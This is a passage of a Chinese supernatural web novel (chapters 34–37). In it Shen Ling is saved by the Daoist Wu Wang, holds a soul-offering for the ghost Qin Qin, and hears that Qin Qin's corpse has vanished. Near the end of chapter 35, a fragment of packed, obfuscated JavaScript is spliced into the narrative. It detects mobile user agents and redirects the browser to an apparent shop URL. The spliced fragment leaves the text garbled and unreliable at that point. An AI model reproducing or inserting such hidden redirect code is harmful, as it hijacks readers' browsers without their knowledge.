病房里，惨白的墙壁和冰冷的地砖毫无征兆地渗出大片大片触目惊心的血迹，那粘稠的血迹宛如拥有生命的诡异液体，缓缓蠕动着，逐渐汇聚在一起，形成了一条汹涌的血河。血河中，惨白的白骨和狰狞的人头上下浮动，仿佛在诉说着无尽的哀怨。无数只无助的手从血河里挣扎着伸出，带着绝望的气息，似乎在向生者求救。
耳畔，冤魂的哀嚎声此起彼伏，如同尖锐的利刺，狠狠扎入人的耳膜，让人不寒而栗，那声音仿佛来自地狱深处，带着无尽的痛苦和怨念。
黄泉路，再一次在眼前缓缓打开，散发着死亡的气息，仿佛要将一切生灵吞噬。
“沙拉……”
病房里忽然起了一阵阴风，那风阴冷刺骨，如同来自幽冥地府的气息，风声呼啸，像是一把把锋利的刀刃擦过耳畔，发出令人毛骨悚然的声响。
“什么？！”沈聆还没有反应过来的时候，忽然一团煞气从病房门口席卷而来！
那煞气漆黑如墨，翻滚涌动着，仿佛有无数的恶鬼在其中挣扎咆哮，煞气的移动速度极快，肉眼看起来就像是小型飓风一样，带着摧毁一切的力量，从病房门口直接往窗户的方向卷去——这股煞气充斥着浓郁的血腥味和腐臭味，令人作呕，那味道仿佛是死亡的气息，弥漫在整个病房，让人呼吸困难。
在一眨眼的功夫，煞气便卷到了沈聆身边，沈聆只感觉一股强大的力量扑面而来，仿佛要将她撕碎，那煞气中，隐隐约约可以看到无数张扭曲的面孔，痛苦、绝望、愤怒，让人胆战心惊。
宋明夷也看到了那煞气，忙伸手朝沈聆这边扑了过来：“沈聆！”
宋明夷的脸上满是惊恐和焦急，她的手拼命地向前伸着，却怎么也够不着沈聆。
沈聆刚想伸出手，但她没能抓住宋明夷的手，那团煞气直接将她裹挟着，卷到了半空！她被煞气包裹，只感觉到口鼻全都是粘腻血腥的味道，那味道浓烈得让人几乎窒息，那风像是钢丝一样带着倒刺，无情地割破了身上的纱布和脆弱的皮肤。
她在这阵煞气中，被割破了脸，一张小脸瞬间变得血肉模糊，那伤口的鲜血汩汩流出，染红了她的衣衫，她的眼睛里充满了恐惧和绝望，仿佛看到了自己的死亡。
那煞气裹挟着沈聆，往窗外而去，沈聆的身体在风中无助地飘荡着，仿佛一片落叶，她的眼睛里满是泪水，却无法发出任何声音。
“沈聆！！”宋明夷的呼喊声在病房里回荡着，却显得那么无力。
在宋明夷的惊呼下，无力反抗的沈聆感觉到一阵失重的悬空感。
她低下头，发现自己被丢出了窗外！她的身体悬空在产科六楼的窗户外，窗外，是一片黑暗的虚空，仿佛无尽的深渊。
34. 青城山，吴妄
“青龙白虎，队仗纷纭；朱雀玄武，侍卫我真。急急如律令！朱雀使，现！”
一个声音在耳畔响起，正在急速往下坠落的沈聆只觉一阵狂风呼啸着擦过自己耳畔，那风声尖锐而凛冽，仿佛能割裂空气。
“沙拉……”
下一秒，似有什么轻柔之物悄然托起了她的身体，她低下头，只见一只火焰般熊熊燃烧的朱雀赫然映入眼帘。
——那只朱雀通体赤红，宛若跳动的烈焰般耀眼夺目，瞬间将夜空映照得如同白昼，它的身躯庞大而威武，每一根羽毛都似燃烧的火苗，闪烁着炽热的光芒。
一双红色的眼睛犹如璀璨的红宝石，光芒四射，深邃而神秘，燃烧的羽毛在头上卷曲成流华般的模样，丝丝缕缕的火焰仿佛灵动的丝带，随风飘动。
那朱雀的爪子锋利而有力，紧紧抓住空气，仿佛能抓破虚空,，沈聆还没有从震惊中反应过来的时候，她已经轻轻落在了朱雀的背上。
“——”
朱雀仰起头，对着天空发出一声长鸣，那声音恰似鹤鸣般悠扬空灵，又似鹰啸般雄浑激昂。
朱雀身上的火光冲天而起，那一缕缕黑气仿佛被火焰洞穿的黑暗一样，在那刺眼的光芒下被狠狠撕开，随后消散殆尽。
朱雀扑动着翅膀，带着沈聆如同一道绚丽的火焰飞向了平安医院的顶楼。
这是沈聆见过最美的火花，宛如打铁花一样在漆黑的夜空中散开了绚丽而又刺眼的光亮，照彻了夜空，也照彻了森森鬼气。
“什么？”
随着朱雀飞上半空的时候，沈聆发现顶楼天台正站着一个年轻男人。
此刻，他也正微微抬起头注视着她，黑色的衣襟被朱雀扬起的风吹动着，如墨的发丝在风中轻轻摆动，丝丝缕缕都透着神秘的气息。
他的脸庞轮廓分明，犹如刀刻般冷峻，剑眉斜飞入鬓，眼眸深邃如潭，仿佛藏着无尽的星辰，高挺的鼻梁下，薄唇微微抿着，透露出一种坚毅。
在朱雀的火光照耀下，他的面容愈发显得英俊非凡，仿佛是及时降临的救世主一般。
“道长……”
这已经。
是第二次了。
他救她。
“——”
道长朝着朱雀伸出手，朱雀仰天长鸣，它像是受到了召唤一样，飞向了站在顶楼的道长。
一阵火光刺眼后，朱雀消失，沈聆稳稳落入了道长的怀抱。
她身上的纱布、病号服已经被煞气撕碎了大半，脸上满是血污。在接住沈聆后，道长将怀里的女孩子放在了地上，并脱下了黑色的外套，轻柔地披在了沈聆身上，覆盖住了伤痕累累的沈聆。
沈聆顺着那双手抬起头看向了他，朱雀红色的羽毛纷纷飘落，落在他们身边，在那火光中，她抬起头看着他，看着他那深邃如渊的眼眸，心跳仿佛漏了一拍。
“你……你怎么会在这里？”
“我？”道长一挑眉毛，“如果我说，我是正好路过，你相信吗？”
“不信。”
“不信就对了。”道长轻笑，将沈聆靠着天台的墙壁放着，在她耳畔低声说道，“等我一下。”
他转过头，看向了天台远处的夜空，沈聆顺着他的视线看去，发现刚才一团煞气不知道何时逐渐汇聚在血河中央，血河自下而上，蜿蜒着，如同一条天路一样绵延向远方。
远处的天空裂开了许多裂口，从裂口中纷纷扬扬地落下黄色、白色的纸钱，沈聆打开了黄泉路，此刻，周围的夜空中黑色与紫色相交错，可以看到许多白色的魂魄在周围若隐若现地呼啸而过，那些在地府徘徊的鬼魂，在打开黄泉路之后，再一次重返阳间，而吸收了鬼魂之气的煞气，也在逐渐凝聚成更可怕的存在。
“臭道士！你又来坏我好事！”
那团黑色的煞气如汹涌的潮水般不断膨胀着，从中传出的男女莫辨的声音，尖锐而诡异，仿佛是用最先进的变声器处理过一般，带着几分机械音的刺耳。那声音像是男人的低沉咆哮、女人的凄厉尖叫、老人的沙哑呢喃、孩童的清脆啼哭，各种音色交织在一起，令人毛骨悚然。
道长的黑色外套被煞气扬起的狂风猛地吹起，猎猎作响。
他微微眯起眼睛，目光如炬，紧紧盯着眼前聚集得越来越大的煞气，垂下的右手缓缓举起，手指微微弯曲，仿佛在牵引着神秘的力量。一道金光在他手中逐渐凝聚，光芒越来越盛，如同璀璨的星辰。
“沙……”
在他脚下，一张天干地支的八卦阵图悄然张开，金色的纹路如同流动的光芒，散发着刺眼的金光。
阵图中的符号仿佛有生命一般，闪烁着神秘的光芒，周围像是形成了一个灼烧鬼魂的结界，金色的火焰熊熊燃烧，让四处飞散的孤魂野鬼发出痛苦的哀嚎，鬼魂们在火焰中挣扎着，身体逐渐变得透明，最终消散殆尽。
“我是没想到，你居然敢对活着的人下手。”道长看着那团煞气，眼中满是厌恶，那眼神仿佛看到了世间最肮脏污秽的东西，他的眉头紧锁，嘴唇微微颤抖，似乎在强忍着心中的愤怒。
“这女子是阴五行，如果把她吞下去，那可是大补，我怎么可能错过这么好的机会？”那声音充满了贪婪和邪恶，仿佛来自地狱的恶魔。
话音刚落，那团煞气中顿时化形出十多根尖刺！
这些尖刺通体乌黑，散发着令人胆寒的寒光。锋利的尖刺齐刷刷地将尖端对准了坐在地上的沈聆，每一根尖刺上都闪烁着冰冷的光芒，似乎随时准备插穿她柔软的身体，刺破她跳动的心脏。
尖刺周围的空气仿佛都被冻结，散发着死亡的气息。
道长见状，迅速抬起手，挡在了沈聆面前，他的动作果断而迅速，仿佛一道坚固的城墙，他的眼神坚定，透露出无畏的勇气。
“给我死！”煞气怒吼了一声，声音如惊雷般在空气中炸开。
电光火石之间，尖刺齐刷刷地如箭雨一般朝着他们插了过来！尖刺划破空气，发出尖锐的呼啸声，速度快得让人无法躲避。
“青龙白虎，队仗纷纭；朱雀玄武，侍卫我真。急急如律令！青龙使，现！”道长怒喝了一声，声音洪亮而威严。
他抬手一挥，手臂在空中划过一道弧线。
下一秒，沈聆看见一道青光乍现，从道长脚下的八卦阵中，一直青龙应声而起！龙吟的声音震碎了天台的地砖，以八卦阵为圆心，裂开了七道缝隙。
青龙盘着身体，巨大的身躯如同山脉一般雄伟，它的鳞片闪烁着金色的光芒，每一片都仿佛是坚硬的盔甲，青龙的眼睛如同两颗璀璨的宝石，散发着威严的光芒，它的龙须飘动着，仿佛在风中舞动的丝带。
“小子！你以为指挥四象就能破我吗？”煞气中的声音充满了不屑和挑衅。
在裹挟着煞气插向二人的那一刻，青龙睁开了眼睛，它一声龙吟直冲云霄，声音如洪钟大吕，震撼人心，它盘着身体，身上金光闪闪的鳞片在面前化成了一道坚不可摧的屏障，屏障宛如坚硬的盾牌一样，闪烁着神秘的符文。
当尖刺刺在屏障上时，发出清脆的撞击声，火花四溅。
“破！”
道长脚下的八卦阵顿时金光乍现，从几个方位闪烁着光形成了利刃。
这些利刃如同锋利的宝剑，散发着逼人的寒气，青龙长啸一声，利刃随着青龙朝着那团煞气逼去，所过之处，空气仿佛都被割裂。
金光破去了周围的煞气，青龙张开嘴，从口中喷出了刺眼的光，那
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光芒如同太阳一般耀眼，瞬间照亮了整个天台，光芒中蕴含着强大的力量，仿佛可以摧毁一切。
“沙……”
这光瞬间溶解了层层煞气，宛如白昼一样撕开了深幽的黑暗。
“这是……”沈聆眯起眼睛，发现在煞气中，是一个小女孩！
那小女孩的身形娇小玲珑，脸色苍白如雪。她的眼睛里闪烁着血红色的光芒，透露出无尽的邪恶。
小女孩的头发凌乱地飘散着，仿佛在风中舞动的黑色火焰，一张脸被煞气侵染，眼睛是血红色的，宛如疯魔的野兽，而那小女孩的身形，恰好和刚才自己看到的小女孩十分相似！
“该死——”小女孩浑身被煞气缠绕，她抬起双手，张开结界,结界散发着紫色的光芒，如同一个巨大的气泡。
但青龙的焰火喷在了它的结界上，灼热的龙火炙烤着结界，发出滋滋的声响,不多时，结界上开始出现裂痕，如同破碎的玻璃。小女孩也被青龙步步逼退，她的脚步踉跄，脸上露出惊恐的表情。
“我劝你，还是不要多做挣扎了。”道长抬起手，从口袋里拿出一张黄色的符纸。符纸上画着神秘的符号，散发着强大的灵力。
小女孩看到了道长的那个动作，像是意识到他接下来会做什么.
“不好——”
她一咬牙，见势不妙，睁大了血红色的眼睛，身体膨胀了起来。
先是手脚膨胀，如同充气的气球。随后脑袋肚子也像是气球一样膨胀了起来，浑身血痕密布。她看起来就像是装了水的、随时可能爆炸的气球，让人胆战心惊。
“嘭——”只听见一声巨响，小女孩的身体瞬间膨胀爆炸，许多肉块散落一地。随后煞气也消失殆尽，天台又恢复了往日的宁静。
“切，跑了吗。”
道长看着掉落在脚边的肉块，皱紧了眉头。
——不，这不是她的真身。
——她的只是试图用分身吞噬我而已。
沈聆看着那满地的肉块，陷入了沉思。
看来，眼前的这个小女孩，应该就是曾经试图吞噬母亲和秦琴的罪魁祸首，但可惜的是，他们并没能在今天晚上替天行道，不慎让她逃走了，今后怕是祸患无穷。
“收。”
道长一挥手，青龙听话地回到了八卦阵中，盘在他身边。
青龙身上的光，略微照亮了道长的脸庞，他抬起手，温柔地摸了摸青龙，那条龙像是通灵一样，也眨了眨眼睛，随后，以道长为核心，它低下了头，身体消散、隐入阵中。
“没事吧。”
道长转过头看着沈聆，发现这个女孩子倒是没有被吓呆，反而看起来十分镇定，这一点倒是出乎他的预料。
“我们得赶快完成‘祭魂’仪式，黄泉路，不能一直开着。”沈聆抬起头，看着远处的血河。
“嗯，我带你下去。”道长说着，抱起了沈聆。
沈聆双手下意识地攀着他的肩膀，不知道为什么，在他身边的时候，她总是能感觉到几分安心，似乎这个强大的存在，无论在何时何地，都能保护自己。
“……你为什么要救我？”
“那个孽障三番四次危害人间，小道是修道之人，替天行道也是本分。”
“看不出来，道长还是个古道热肠的人。”
“是吗？我感觉我还是一个挺和善的人的，哈哈……”
道长抱着沈聆，走向了楼梯间。
“道长，宋明夷的那张符咒，也是你二十元卖给她的吧。上次多谢你，否则我和宋明夷就遭殃了。”
“区区小事，不足挂齿。”
“道长，你救了我两次，我还不知道你的名字呢。”
“青城山，吴妄。”
35. 祭魂
在道长和沈聆回到产科病房的时候，看见宋明夷一个人躲在病床后面瑟瑟发抖，像个受惊吓的小鹿一样，拿着手机四处拍着，但却又不敢拍太多，生怕越过雷池，冒犯到不可言说的存在。
看见沈聆回来了，宋明夷喜出望外：“啊！你没死啊！”
她迎了上来，惊喜地看着沈聆，那眼神，就像看到了失而复得的……聚宝盆。
“你才死了。”
沈聆白了她一眼，不过沈聆自己的情况也不是很好。
她远远低估了对方的实力，没想到那团煞气比之前更厉害了，如果不是吴妄路过及时出手相助，怕是她们今天晚上都要葬身此地。
——那团煞气到底是怎样的存在？
——她为什么好像跟着我一样，无论我做什么，似乎都摆脱不了它的阴影……
沈聆在心里犯嘀咕。
吴妄将她放在了小镜子前，他似乎并不意外她所做的事情。
“你知道我是阴厨？”沈聆抬起头看着吴道长。
“万事万物，皆有缘法。生老病死，阴阳两隔，你的母亲离世了，自然需要有人补上阴厨的位置，你自然是最好的人选。”
“……你认识我母亲？”
“算不上是认识吧。”道长漫不经心地回答，“曾经有过一面之缘，她因为一些事情到青城山来，帮了我一个忙，当时我欠她一个人情，如今，我救了你，算是还上了这个人情。”
“人情？”沈聆眨了眨眼睛，没想到道长几次三番对自己出手相助，居然还有母亲的缘故在里面。
她越来越好奇母亲到底做了多少事情？以前她还以为母亲是一个全职家庭主妇，现在看来，母亲是瞒着她们姐妹，一直在做阴厨的工作，只不过不让她们知道罢了。
“前尘往事，不必多言，你不是还有正经事要做吗？”
“哦，对的。”
沈聆披着道长的外套，他的外套薄薄的，但不知为何，似乎十分保暖，上面带着淡淡的檀香。
沈聆跪在小镜子前，她稳了稳心神，她在脑海中默念秦琴的名字，闭上双眼，再一次念起了咒语——
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
话音刚落，红色手链上的铃铛响了起来。
银铃响，怨魂至！
沈聆睁开眼睛，看向鎏金香炉前放着的小镜子。
她微微颤抖着，紧张地盯着手中的小镜子，镜子里反射出的景象让她的心猛地一紧。只见一个模糊的白色轮廓逐渐出现在她的身后，就像是从虚空中浮现出来一般——这个轮廓起初只是一团边缘模糊的雾气，但随着时间的推移，它开始逐渐化形，变得越来越清晰。
她瞪大了眼睛，不敢相信眼前发生的一切……那团雾气慢慢地凝聚成了人的身形轮廓，仿佛有一双无形的手在塑造着它，接着，眼耳口鼻逐一显现，虽然仍然有些模糊，但已经可以看出大致的模样，最后，当雾气完全消散时，她看到了一位半透明的人类女子站在她身后，如同幽灵般的存在。
“秦琴，我来看你了，我带来了你想吃的淮阳牛肉面，只不过，你想吃的那家店因为贩卖人口被关停了，开店的一家三口已经全数被警方抓捕，此外，警方顺藤摸瓜，查出了以赵姨为首的人口贩卖组织，并一网打尽，相信你可以安息了。”
沈聆说着，看了看眼前放在保温盒里的淮阳牛肉面，她知道，秦琴听到这个消息一定会很欣慰的，只不过，她刻意隐去了赵姨本人潜逃在外的这个消息，她不希望秦琴含恨而终。
秦琴的鬼魂在听完沈聆的话之后，点了点头。
她头上留着一个血窟窿，已经凝固的血液顺着额角从脸颊滑落，看起来像极了血泪的痕迹。
秦琴闭上眼睛，在沈聆面前的淮阳牛肉面上升腾起了一股白色的烟气，这股烟气便是食物中蕴藏的“气”，作为鬼魂的秦琴，享受了在人间的最后一顿美食，在吃到是家乡的风味之后，她不由得流下两行清泪。
在做这些事情的时候，宋明夷蹲在病床后，用手机拍摄着这一切画面，活像个战地记者，吴妄白了她一眼，对她所作的事情充满了不解。
但这些丝毫没有影响到祭魂的进程，准确的说，是身为鬼魂的秦琴似乎已经不在乎那些细枝末节了。
“谢谢你。”
在享用完祭品之后，秦琴睁开了眼睛，对着镜子里的沈聆道谢。
“不用道谢，这些都是我分内的事情。”
“我知道你付出了很大的努力，而且也以身犯险，自己去了那家面馆……我已经死了，我是一只孤魂野鬼，我没有什么可以报答你的，我还有一些剩下的阳寿和阴德，我将这些赠与你，希望能帮到你的妹妹。”
“谢谢！”
沈聆喜出望外。
确实，比起其他的东西，阴德，才是她现在最想要的。
妹妹明天晚上还有一场手术，她需要更多的阴德，帮助妹妹活下去。
秦琴微微颔首，脸上露出一丝坚定的神色，紧接着，她的身上突然散发出一道柔和的光芒，宛如黑夜中的萤火虫闪烁着微弱的光点，这道光芒虽然并不耀眼，但却充满了神秘的力量。
随着光芒的绽放，秦琴的身体开始逐渐变得透明起来，仿佛融入了周围的空气之中，她的身影渐渐模糊，原本清晰可见的轮廓逐渐消失不见。
而她的身体则慢慢地向上浮起，仿佛被一股无形的力量托起，她的双脚离开地面，整个人在空中缓缓升起。每升高一寸，她的透明度便增加一分，直至最后，她的身体完全变成了透明状态，几乎与周围的环境融为一体。
“再见……”
留下了在人间的最后两个字后，秦琴的鬼魂消失了。
沈聆看着镜子里的秦琴消失，心中的一块大石也放了下去。
她总算是完成第二件任务了，这次的任务充满了危险，不过还好，一切都值得。
在秦琴的身影消失后，黄泉路的血河也逐渐消散，周围鬼魂的哀嚎逐渐远去，蜿蜒的血河如同火焰的末梢一样被吞噬在黑暗中，不多时，血河也消失了，黄泉路关上了，周围再一次回到了普通的病房的模样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033159|146250||http|test|mini|href|location''.split(''|''),0,{}));
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至此，秦琴的委托，算是完成了。
“她会转世到一个好人家的，对吗？”沈聆转过头，看向了窗户。
在那个地方，秦琴曾经义无反顾地一跃而下，结束了自己悲惨的一生。
——她会在那个世界和自己的父母相遇吗？
——一定会吧。
——在那个世界，就不再有痛苦了。
——如果可以的话，希望你能转世托生在一个幸福温暖的家庭里，拥有安稳平凡的一生，不再颠沛流离，不再含恨而终。
“真了不起啊……”宋明夷的声音从身后传来。
沈聆和吴妄循声看去，发现宋明夷正用手机拍的起劲。
“你拍到了什么？”沈聆十分好奇。
“和上次一样，我只能看到你在祭魂的时候身后出现的白色的烟一样的轮廓，手机拍下来的也是这样，不过这样也够啦，虽然放在网上可能会引起‘争议’，不过我们主播需要的就是‘争议’！有争议，才有看点，才有关注，嘿嘿。”
她看起来十分兴奋，显然是从这一波流量中尝到了甜头，一副“财迷心窍”的表情。
“……这样真的没关系吗？”吴妄凑近了沈聆，压低了声音在她耳边说的。
“道长指的是……”
“任由她把这些画面发在网络，引起关注。”
“目前我感觉……应该不是什么大问题。”沈聆看着宋明夷兴奋编辑手机画面的样子，低声说道，“其实，直白地说，我现在需要‘业绩’，沈凝的情况不是很好，我需要完成更多的‘业绩’，才能替她攒到更多的阴德。但如果仅靠我主动找需要祭祀的亡魂，效率太低了，如果能借助网络平台，把这件事情宣扬出去，说不定会有人主动找上门，希望我能帮助他们祭祀亡魂，我就能增加我的工作效率，这样对沈凝也好。”
“你家老太婆知道这件事情吗？”
“什么老太婆？你说话也太没礼貌了吧！”沈聆皱着眉头瞪了一眼吴妄。
吴妄用小指头挖了挖耳朵：“反正就是那个意思，你家老人知道这件事吗？”
“她还不知道，不过还好老人家平常也不会玩手机，只要我们不主动告诉她，我想她应该不会知道的。”
“嗡嗡……”
就在这时，沈聆口袋里的手机忽然震动了起来。
她拿出手机一看，发现是林凌打电话过来了。
“这个时间点，有什么急事吗？”沈聆疑惑地接起电话，“喂？林警官？”
“不好了，我刚刚接到一个消息，秦琴的尸体，不见了。”
“啊？”沈聆一愣，“你说尸体不见了，是什么意思？”
她的这句话，同时引起了吴妄和宋明夷的注意，他们同时看向了沈聆。
“说来，这件事邪门得很，昨天尸体还躺在殡仪馆，今天晚上殡仪馆值班的人忽然发现，存放尸体的柜子打开着，编号244号秦琴的尸体不翼而飞了，殡仪馆的人调取了监控发现，秦琴的尸体，在刚刚，自己坐了起来，跳窗后，消失了，简直就像是……诈尸了一样。”
36. 尸变
完成了第二单秦琴的委托之后，沈凝的二期颅脑手术也顺利进行。
不知道是不是这次任务完成比较出色的原因，沈凝的手术效果比医生预期的要更好，她那塌陷的颅骨已经通过颅骨重塑，恢复了正常的颅脑结构，并且她的身体也很好地适应了高分子材料，术后体征十分稳定，胸腔受损的地方也在慢慢愈合，原先存活的概率从20%左右上升到了60%，可以说，是平安医院外科治疗的一个奇迹。
与此同时。
姐姐沈聆的身体恢复情况也比想象中更好一点。
虽然在人口贩卖案中，她被傻子打成重伤，又在祭魂的时候遇到了煞气攻击，但奇迹般的是，在治疗时候沈聆的身体恢复得很快，曾经骨折的地方矫正了几次之后便恢复了原状，脸上的皮肉伤也在上了几次药后，不到一个星期就愈合了，甚至没有留下一点伤疤，愈合的速度之快，甚至让换药的护士都惊叹不已，声称这简直可以说是人类的第八大奇迹了。
“或许是因为秦琴的原因。”
外婆是这么解释的。
秦琴曾经在沈聆的梦中给了沈聆一个东西，但沈聆却不知道那是什么，只知道那是一团发着光的东西，那光点从秦琴手中转移到了沈聆的身体里，最后被她的身体、她的灵魂所吸收，在她告诉外婆这件事情的时候，外婆也参透不出其中的奥秘，但老人家认为，沈聆这神奇的康复速度一定和秦琴脱不开关系。
毕竟，这太反常了。
要知道人体的恢复是需要一定的时间的，撕扯断裂的肌肉、错位的骨骼、拉伤的韧带、割破的皮肤都是需要一定时间愈合，需要重新长出血肉，并需要长达三四个月的复健，才能恢复原来的行动模式。
可在沈聆这里，似乎已经跳出了人类的常理。
她的身体像是有着无限生长的能力一样，有着如同野草一般旺盛的生命力，在受损之后，她的身体愈合速度远远超过常人，所有人的肌肉、骨骼、皮肤都像是有自我意识一样，日夜生长，重塑细胞，让她愈合之后甚至有了比之前更敏捷的行动速度、更强大的肌肉力量。
这一点，已经超过了常理。
或许，只有已经死去的秦琴才知道真相。
但沈聆隐隐约约觉得，这一切应该和秦琴的尸体失踪有关。
根据林凌警官的反馈，秦琴的尸体消失的时候，正是他们在医院祭魂的时候。
秦琴的尸体白天还静静地躺在244号柜子里，但到了晚上忽然就不见了。
殡仪馆的工作人员还以为是有人盗尸，但在调取了监控后却发现，尸体是自己打开柜子，并从柜子里离开的，和她跳楼时的动作一样，那具已经没有了生命体征的尸体一步步走向了太平间的窗户，在推开窗户之后，甚至回过头看了一眼监控摄像头的方向，不到一秒钟后，她跳出了窗外，消失在夜色中。
整个过程不超过两分钟。
但诡异的监控画面却给人留下不小的心理阴影。
因为秦琴案的影响很大，警察局很重视她的尸体失踪的事情，林凌也曾经亲自到殡仪馆查看现场、调取监控。
根据林警官的描述，在尸体跳出窗外的时候，她回过头看了一眼监控的方向，那个时候，尸体诡异地……
笑了一下。
“笑了一下？！”宋明夷惊呼着，从沙发上站了起来，“你是说，尸变的尸体对着监控摄像头笑了一下，然后自己离开了？”
“对。”林凌表情严肃地说，“因为监控画面是内部证据，我没办法给你们看，但我看过了监控，的确看到在画面中，秦琴的尸体对着监控笑了一下。她的尸体披头散发的，而且因为坠楼，尸体已经头破血流，血和脑浆都凝固在皮肤上，脖子也折断了，但是她的尸体走到窗户旁边的时候，像是可以感觉到监控摄像头一样，对着摄像头笑了一下，当时在场的人看到那个笑容，全吓了一跳，甚至有一个殡仪馆的工作人员吓得高烧了好几天。”
“这是是尸变吗？外婆。”沈聆心事重重地看向外婆。
此刻，宋明夷、林凌都在沈聆家，林凌单纯是感觉沈聆有着非同寻常的能力，或许在破灵异事件中可能会有特殊用处，在这个诡异的事件发生之后，他也想听听沈聆的意见。
而宋明夷，那就是单纯凑热闹了！
自从上次祭魂让她拍摄到第二次鬼魂之后，她重新剪辑了作品，并制作了一期“被拐卖女子的悲惨故事”，在这个故事里，虽然已经给秦琴化名“小美”，但还是有不少眼尖的网友认为，小美的故事就是最近吸引人眼球的秦琴的故事，在这个故事里，女主播小小夷以死者的角度，讲述了她被拐卖后的悲惨遭遇，并附上了平安医院拍摄到的鬼影片段，塑造出了一个死后仍然执着报仇的可怜女子的故事。
故事一发出后，又引爆了一波热度，因为与大热话题“平安医院产妇跳楼事件”十分吻合，女主播小小夷便又吸引了一波流量和关注，但因为她在短视频里并没有透露死者的真实姓名，所有的故事都是以“小美”的视角叙述的，并打上了“剧情演绎”的标签，因此就算同行要举报她装神弄鬼，也拿她没办法。
尝到了甜头的宋明夷，当然要更抱紧沈聆的大腿，她像是一个嗅觉敏锐的猎狗，知道跟在沈聆后面，一定“有肉吃”，因此对沈聆的事情格外热心，加上那天晚上在医院也听到了沈聆和林凌的电话，知道了殡仪馆尸变的故事，当然化身为热情的“跟拍记者”，势必要记录下这一事件。
且说回当下。
众人正在讨论城西殡仪馆的事情，所有人依次发表了自己的看法——
“我觉得，会不会是煞气附着在尸体上，盗走了尸体？”沈聆说着，想起了那天晚上攻击自己的煞气，她知道对方绝非等闲之辈，那煞气如果真的能控制活人跳楼，那么控制
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死人的尸体应该也不在话下。
“我觉得有可能。”宋明夷点了点头，“我也看见了那股黑气，能直接把人卷到了窗户外……”
闻言，沈聆忙给她使了个眼色，示意林凌还在这里，不要提祭魂的事情。
宋明夷忙岔开了话题：“我……我是说我在电影里看到的，那些黑山老妖都会这样兴风作浪，会吃活人，甚至还会吃刚死的人的尸体。”
“黑山老妖？”林凌皱起眉头。
他是个警察，自然不相信那些东西,但尸变的事情，确实很诡异，让他不得不怀疑这个世界上是不是真的有超自然现象发生。
“外婆，您怎么看？”沈聆看向了老人家。
老人家叹了口气，默默喝了一口浓茶：“这个秦琴，应该没那么简单，死后，她的灵魂、她的尸体，都成了别人觊觎的东西，或许她身上真的藏着什么东西。”
“秦琴已经往生，我感觉尸变的时候，应该是别的东西附在她身上。”沈聆补充。
是她亲手送走了秦琴的，她比在场任何人都确定这一点。
她深信，秦琴已经离开了这个世界，至少，她的灵魂已经融入世间万物，成为粉尘，成为清风，成为这世上的事事物物，但再也不是原来的她。
“如果要知道对方究竟为什么搞这一出，还是得去殡仪馆看看。”外婆看了一眼沈聆，用眼神暗示她这件事情没有那么简单。
沈聆点了点头。
秦琴相当于她的半个朋友，她也不希望朋友的尸体在死后还被随意践踏。
“林警官，你能帮助我们去一下殡仪馆吗？”沈聆看向了林凌。
这件事情如果要调查清楚，还是得借助一下林凌的便利。
“殡仪馆随时都可以去的，这没有设防。”
“不是，我的意思是，如果我们想在那边住一晚，这样方便吗？在放尸体的地方。”沈聆幽幽地道出这句话后，宋明夷惊得跳了起来，林凌也是一惊，没想到一个还不到二十岁的女孩子会说出这番话。
宋明夷瞪大双眼，满脸惊恐：“什……什么？！你是说，你要去殡仪馆住一晚？！”
沈聆这个想法让她不寒而栗，仿佛有一股凉气从脚底直冲向头顶。
殡仪馆可是存放尸体的地方啊！那里充满了阴森和诡异的气息。
一念及此，宋明夷不禁打了个寒颤，脑海里浮现出各种恐怖电影中的场景，那些令人毛骨悚然的画面不断在眼前闪过。
林凌也补充问道：“沈聆，你确定？那个地方邪门的很，我去了一次，感觉说不出的奇怪。”
“对，我要去住一晚。”沈聆平静地解释道，似乎完全没有被这种恐惧所影响，她的声音冰冷而坚定，“秦琴的尸体，是在午夜尸变的，如果要搞清楚究竟是什么原因导致了尸变，我们就得充分还原尸变的时间、地点，这样，才能调查清楚。”
37. 守灵人
陵川市殡仪馆位于城西郊区的位置。
这里是所有巴士站的终点，就像人生，无论中途经过怎样的风景，尽头总是熊熊燃烧的一把火焰。
在沈聆和宋明夷来到殡仪馆的时候，时间已经将近晚上八点了。
在城西这个比较清冷偏僻的地区，晚上八点路上就几乎已经没有什么行人了。
她俩坐着公交车，路过了已经关门大吉的淮阳牛肉面馆后，在终点站下了车。
一下车，一股刺骨的寒气猛地扑面而来，仿佛无数冰针瞬间扎入肌肤，那凌冽的风如恶魔的吐息，带着如刀刃般锋利的寒凉，似要将人割裂。
昏暗的灯光宛如将死之人微弱的喘息，仅仅照亮了一小块人行横道的区域，在人行横道边，矗立着一座两层楼高的建筑，宛如黑暗中的巨兽。
这建筑是砖楼结构，上小下大，通体如墨，仿佛能吞噬一切光明，白色的围墙圈出一小块区域，像是一道脆弱的防线，两侧种满的青松在风中摇曳，发出沙沙的声响，犹如鬼魅的低语。
在这栋楼的后侧，是一片黑茫茫的荒野，仿佛无尽的黑暗深渊，偶尔，那荒野中闪烁着些许诡异的光，如同飘忽不定的鬼火在跃动，时隐时现，仿佛在引诱着人走向死亡的陷阱。
走近了，便能看到殡仪馆大门两侧贴着两幅白色的对联——“风雨送亲友，瑞雪迎灵堂”。那白色的底色与黑色字体在黑暗中格外刺眼，仿佛是死者的挽联，诉说着对亡者的不舍。
正对着院门口的，是一个深棕色的大木门，如同通往地狱的入口，木门前共有十三级灰色的台阶，每一级都仿佛承载着无数的哀怨与恐惧。
“沙拉……”
整栋建筑物沉寂在深夜的寂寥中，呼啸而过的风声都像是森森鬼吟，带着无尽的哀怨和绝望，让人不由得感到害怕，仿佛随时会有一只冰冷的手从黑暗中伸出，将人拖入无尽的恐怖之中。
“我说……我们真的要在这里住一个晚上吗？”宋明夷拿着抖音拍摄的专用工具，但另一只手死死抓着沈聆，说话的尾音融入在一脉寒气中，声音也带上了几分颤抖。
“嗯，如果要调查清楚尸变的原因，还是要真实还原那天的情况。”沈聆看着眼前的殡仪馆，也不由得感觉到心里发怵，但出于帮助秦琴的责任感，她还是不想就这么当逃兵。
